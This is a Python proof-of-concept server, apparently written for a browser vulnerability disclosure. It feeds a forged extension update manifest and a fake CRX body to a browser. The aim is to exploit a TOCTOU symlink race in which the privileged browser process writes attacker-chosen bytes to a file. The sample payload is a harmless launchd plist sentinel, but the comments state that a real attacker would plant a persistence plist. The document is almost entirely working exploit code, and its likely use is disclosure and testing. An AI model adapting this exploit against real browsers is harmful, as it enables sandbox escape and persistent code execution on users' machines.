#!/usr/bin/env python3
"""
Serves an Omaha-style extension update manifest plus a "CRX" body whose bytes
are the attacker payload that the *browser process* will write through the
symlink (because SimpleURLLoader::DownloadToTempFile streams network-service
body bytes straight into the reopened temp file).

In the real attack the compromised network service fabricates these responses
itself; serving them over HTTP here is just a convenient way to feed the same
bytes through the unmodified URLLoader stack so the POC patch only has to add
the racer thread.
"""
import http.server
import socketserver
import sys

EXT_ID = sys.argv[1] if len(sys.argv) > 1 else "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

# These are the attacker-chosen bytes that end up in the symlink target.
# A real attacker would put a launchd plist here; for the POC we use a
# recognizable sentinel so success is easy to verify.
PAYLOAD = (
    b"<!-- WRITTEN BY THE BROWSER PROCESS VIA SimpleURLLoader TOCTOU -->\n"
    b"<?xml version=\"1.0\"?>\n"
    b"<plist version=\"1.0\"><dict>\n"
    b"  <key>Label</key><string>com.poc.simpleurlloader</string>\n"
    b"  <key>ProgramArguments</key><array><string>/usr/bin/true</string></array>\n"
    b"  <key>RunAtLoad</key><true/>\n"
    b"</dict></plist>\n"
)

UPDATE_XML = f"""<?xml version='1.0' encoding='UTF-8'?>
<gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'>
  <app appid='{EXT_ID}'>
    <updatecheck codebase='http://localhost:8080/payload.crx' version='99.0.0' />
  </app>
</gupdate>
""".encode()


class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/updates.xml") or "x=id%3D" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "text/xml")
            self.send_header("Content-Length", str(len(UPDATE_XML)))
            self.end_headers()
            self.wfile.write(UPDATE_XML)
        elif self.path.startswith("/payload.crx"):
            self.send_response(200)
            self.send_header("Content-Type", "application/x-chrome-extension")
            self.send_header("Content-Length", str(len(PAYLOAD)))
            self.end_headers()
            self.wfile.write(PAYLOAD)
        else:
            self.send_response(404)
            self.end_headers()

    do_POST = do_GET


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", 8080), H) as httpd:
        print("POC update server on http://127.0.0.1:8080/")
        print("  updates.xml advertises payload.crx v99.0.0 for appid", EXT_ID)
        httpd.serve_forever()
